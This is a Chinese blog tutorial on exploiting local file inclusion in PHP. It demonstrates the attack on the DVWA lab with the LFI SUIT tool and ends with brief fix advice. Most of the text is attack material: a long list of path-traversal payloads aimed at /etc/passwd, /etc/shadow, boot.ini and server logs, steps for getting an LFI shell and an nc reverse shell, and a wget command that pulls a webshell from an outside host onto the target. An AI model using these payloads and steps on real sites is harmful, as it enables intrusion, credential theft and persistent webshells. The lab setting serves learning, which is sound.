如何有效规避本地文件包含简单利用的漏洞攻击

【】今天在公众号看到了一个本地文件包含的利用工具,看了下国外大牛对该工具的使用的一个视频,感觉很厉害,通过该工具可对存在本地文件包含漏洞的站点进行利用并返回一个LFI shell,通过返回的LFI shell再次获取一个反向连接,从而可执行相关命令,以前对本地文件包含的利用大多都停留在读取文件,如果有远程文件包含的话就可以getshell。

这篇文章主要是对本地文件包含的一个简单介绍及利用,主要是对工具的使用,也主要是记录下该过程,方便以后查看,然后再抽时间研究下大神源代码!大神请绕道而行!: )

0x01 文件包含漏洞原理

文件包含漏洞主要是程序员把一些公用的代码写在一个单独的文件中,然后使用其他文件进行包含调用,如果需要包含的文件使用硬编码,一般是不会出现安全问题,但是有时可能不确定需要包含哪些具体文件,所以就会采用变量的形式来传递需要包含的文件,但是在使用包含文件的过程中,未对包含的变量进行检查及过滤,导致外部提交的恶意数据作为变量进入到了文件包含的过程中,从而导致提交的恶意数据被执行。

文件包含通常分为本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)。allow_url_fopen和 allow_url_include为0n的情况认为是远程文件包含漏洞,allow_url_fopen为off和 allow_url_include为0n为本地文件包含漏洞,如图1 配置文件所示。本次主要是利用本地文件包含,所以将allow_url_fopen设置为了off。

图1 php.ini配置

另外,文件包含漏洞主要涉及到的危险函数有四个:include(),require()和include_once(),require_once()。

include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行。

require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本。

include_once()和require_once():若文件中代码已被包含则不会再次包含。(来自简书)

0x02 文件包含漏洞危害

通过文件包含漏洞,可以读取系统中的敏感文件,源代码文件等,如密码文件,通过对密码文件进行暴力破解,若破解成功则可获取操作系统的用户账户,甚至可通过开放的远程连接服务进行连接控制;另外文件包含漏洞还可能导致执行任意代码,不管本地文件包含还是远程文件包含!

常见的利用方法有以下三点:

一、读取目标主机上的其他文件,主要是本地文件包含。

二、包含可运行的网页木马,主要是远程文件包含,前提是”allow_url_fopen”是激活的(默认是激活的,没几个人会修改)。

三、包含一个创建文件的相应代码文件,因为通过文件包含漏洞获取的shell不是长久的,如果这个漏洞修补了,那么shell也就不存在了,因此需要创建一个真实的shell。我们可以先包含一个可以执行cmd的伪shell,然后使用wget加-O参数(类似:

http://x.x.x.x/index.php?page=http://www.1ster.cn/cmd.txt?cmd=wget http://x.x.x.x/muma.txt -O muma.php)获取一个真正的webshell。如果系统中没有wget命令,获取目录不可写,那么我们可以包含一个创建文件的脚本,然后通过脚本上传木马文件。

除了以上三点外,应该还有一点就是执行任意命令!

0x03 实验环境

本次实验环境主要是利用dvwa平台进行演示,如图2所示。DVWA(Damn Vulnerable Web Application)是用PHP+MySQL编写的一套Web漏洞平台,说简单点就是所谓的网站漏洞靶机,该平台包含了SQL注入、XSS、本地文件包含、命令执行等一些常见的Web安全漏洞,并且该平台是开源的,可以从官网直接下载。

图2 dvwa平台

0x04 本地文件包含利用工具

本次主要使用的是LFI SUIT本地文件包含利用工具,是一款用Python2.7编写的神器,适用于Windows,Linux和OS X,并且首次使用会自动配置,自动安装需要的模块,该工具提供了九种不同的文件包含攻击模块,如图3所示。

另外当你通过一个可利用的攻击获取到一个LFI shell后,你可以通过输入“reverseshell”命令轻易地获得一个反向shell。但是前提是你必须让你的系统监听反向连接,比如使用“nc –lvp port”。

图3 九种不同的文件包含攻击模块

0x05 本地文件包含读取文件

在之前的本地文件包含漏洞中,大多数都是进行读取文件,如Linux下的密码文件(../../../../etc/shadow以及../../../../etc/passwd),获取并读取一些你知道物理路径的一些文件,如图4所示。

图4 读取已知路径下的文件

以下是一些简单的测试用例,根据实际情况进行适当的修改。

../../tomcat/conf/tomcat-users.xml

../

%2e%2e%2f which translates to ../

%2e%2e/ which translates to ../

..%2f which translates to ../

%2e%2e%5c which translates to ..\

%c1%1c

%c0%9v

%c0%af

..%5c../

../../../../../../../../../../../../etc/hosts%00

../../../../../../../../../../../../etc/hosts

../../boot.ini

/../../../../../../../../%2A

../../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../etc/shadow%00

../../../../../../../../../../../../etc/shadow

/../../../../../../../../../../etc/passwd^^

/../../../../../../../../../../etc/shadow^^

/../../../../../../../../../../etc/passwd

/../../../../../../../../../../etc/shadow

/./././././././././././etc/passwd

/./././././././././././etc/shadow

\..\..\..\..\..\..\..\..\..\..\etc\passwd

\..\..\..\..\..\..\..\..\..\..\etc\shadow

..\..\..\..\..\..\..\..\..\..\etc\passwd

..\..\..\..\..\..\..\..\..\..\etc\shadow

/..\../..\../..\../..\../..\../..\../etc/passwd

/..\../..\../..\../..\../..\../..\../etc/shadow

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow

\..\..\..\..\..\..\..\..\..\..\etc\passwd%00

\..\..\..\..\..\..\..\..\..\..\etc\shadow%00

..\..\..\..\..\..\..\..\..\..\etc\passwd%00

..\..\..\..\..\..\..\..\..\..\etc\shadow%00

%0a/bin/cat%20/etc/passwd

%0a/bin/cat%20/etc/shadow

%00/etc/passwd%00

%00/etc/shadow%00

%00../../../../../../etc/passwd

%00../../../../../../etc/shadow

/../../../../../../../../../../../etc/passwd%00.jpg

/../../../../../../../../../../../etc/passwd%00.html

/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd

/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow

/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow

%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00

/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00

%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00

%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%255cboot.ini

/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini

\\’/bin/cat%20/etc/passwd\\’

\\’/bin/cat%20/etc/shadow\\’

../../../../../../../../conf/server.xml

/../../../../../../../../bin/id|

C:/inetpub/wwwroot/global.asa

C:\inetpub\wwwroot\global.asa

C:/boot.ini

C:\boot.ini

../../../../../../../../../../../../localstart.asp%00

../../../../../../../../../../../../localstart.asp

../../../../../../../../../../../../boot.ini%00

../../../../../../../../../../../../boot.ini

/./././././././././././boot.ini

/../../../../../../../../../../../boot.ini%00

/../../../../../../../../../../../boot.ini

/..\../..\../..\../..\../..\../..\../boot.ini

/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini

\..\..\..\..\..\..\..\..\..\..\boot.ini

..\..\..\..\..\..\..\..\..\..\boot.ini%00

..\..\..\..\..\..\..\..\..\..\boot.ini

/../../../../../../../../../../../boot.ini%00.html

/../../../../../../../../../../../boot.ini%00.jpg

/…/…/…/…/…/

..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini

/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bo

../../../../../../../../../../var/log/httpd/access_log

../../../../../../../../../../var/log/httpd/error_log

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

../../../../../../../../../../etc/httpd/logs/acces_log

../../../../../../../../../../etc/httpd/logs/acces.log

../../../../../../../../../../etc/httpd/logs/error_log

../../../../../../../../../../etc/httpd/logs/error.log

../../../../../../../../../../var/www/logs/access_log

../../../../../../../../../../var/www/logs/access.log

../../../../../../../../../../usr/local/apache/logs/access_log

../../../../../../../../../../usr/local/apache/logs/access.log

../../../../../../../../../../var/log/apache/access_log

../../../../../../../../../../var/log/apache/access.log

../../../../../../../../../../var/log/access_log

../../../../../../../../../../var/www/logs/error_log

../../../../../../../../../../var/www/logs/error.log

../../../../../../../../../../usr/local/apache/logs/error_log

../../../../../../../../../../usr/local/apache/logs/error.log

../../../../../../../../../../var/log/apache/error_log

../../../../../../../../../../var/log/apache/error.log

../../../../../../../../../../var/log/access_log

../../../../../../../../../../var/log/error_log

/var/log/httpd/access_log

/var/log/httpd/error_log

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

/etc/httpd/logs/acces_log

/etc/httpd/logs/acces.log

/etc/httpd/logs/error_log

/etc/httpd/logs/error.log

/var/www/logs/access_log

/var/www/logs/access.log

/usr/local/apache/logs/access_log

/usr/local/apache/logs/access.log

/var/log/apache/access_log

/var/log/apache/access.log

/var/log/access_log

/var/www/logs/error_log

/var/www/logs/error.log

/usr/local/apache/logs/error_log

/usr/local/apache/logs/error.log

/var/log/apache/error_log

/var/log/apache/error.log

/var/log/access_log

/var/log/error_log

../../../WEB-INF/web.xml

0x06 神器简单获取LFI shell

运行LFI SUIT工具及选择攻击模块

直接使用python lfisuite.py,如图5所示。此时我们选择利用功能模块1。

图5 运行本地文件包含利用工具

设置cookie

在我们选择利用功能模块1后,会提示让我们输入cookie,如图6所示:

图6 设置cookie

获取cookie

浏览器F12console输入document.cookie即可获取到当前cookie,如图7所示。

图7 获取cookie

成功获取LFI shell

输入cookie后,我们随便选择一个攻击模块试试,在此我们选择3,选取攻击模块后,我们输入漏洞地址即可成功获取到一个shell,如图8所示。

图8 成功获取LFI shell

0x07 自动模块获取lfi shell

如果我们不知道那个攻击模块可以返回shell,我们可以选择自动攻击模块。

图9 自动攻击模块

选择之后,我们需要选择一个包含路径的文件,我们选择当前目录下的一个文件即可。

图10 选择文件

选择文件后,该工具会尝试可能性的路径,并且加以利用。

图11 选择文件

如图12所示,我们成功获取了一个shell。

图12 成功获取shell

0x08 获取一个反向连接

在我们已经获取到lfi shell后,我们可以使用reverseshell来获取一个反向连接,我们先进行监听反向连接,如图13所示。

图13 设置监听反向连接

我们输入reverseshell后,设置IP即可

图14 设置ip及端口

此时,我们也成功获取到了一个反向连接,如图15所示。

图15 获取到反向连接

0x09 扫描模块

另外,我们也可以先使用扫描模块,然后在选择对应的攻击模块也能成功获取到LFI shell。使用方法与上面都是一样的,再次就不再进行描述了。

0x10 总结与修复

本文主要是对文件包含做了一个简单的介绍,如文件包含漏洞的简单原理及危害,最重要的是对本地文件包含漏洞的进一步利用,通过本地文件包含漏洞,从而获取到一个反向连接或者是LFI shell。通过本文也让自己对本地文件包含的危害和利用都有了一定的提高,不在是只停留在读取文件上!

通过对该漏洞的利用,最安全的是设置allow_url_fopen和 allow_url_include为0ff,这样就不能利用该漏洞了,另一方面可以做白名单限制,相当于是硬编码,直接把需要包含的文件固定死,这样既不会影响业务,也不会很轻松被利用,其次还是要对用户的输入保持怀疑态度,对用户的输入变量进行严格的检查及过滤! 

【原创稿件,合作站点转载请注明原文作者和出处为.com】

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/138338.html<

(0)
运维的头像运维
上一篇2025-03-02 23:32
下一篇 2025-03-02 23:33

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注